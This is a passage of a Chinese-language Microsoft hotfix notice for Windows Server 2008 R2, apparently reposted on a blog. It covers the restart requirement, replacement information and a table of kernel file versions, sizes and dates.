2008 的计算机无需先决条件。 重新启动要求 在应用此修补程序后,您必须重新启动计算机。 修补程序替换信息 此修补程序不替代任何其他修补程序。 文件信息 此修复程序的全球版本具有的文件属性 (或更新的文件属性) 下表中列出。协调世界时 (UTC) 中列出了这些文件的日期时间。当您查看文件信息时,它已转换为当地时间。要了解 UTC 与本地时间之间的时差,请在控制面板中的日期时间项中使用时区选项卡。 Windows Server 2008 R2,基于 x64 版本 文件的名称 文件版本 文件大小 日期 时间 平台 Ntoskrnl.exe 6.1.7600.20510 5,511,256 2009 年 8 月 20 日 06:28 x64 Ntkrnlpa.exe 6.1.7600.20510 3,954,760 2009 年 8 月 20 日 05:54 不适用 Ntoskrnl.exe 6.1.7600.20510 3,899,480 2009 年 8 月 20 日 05:54 不适用
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值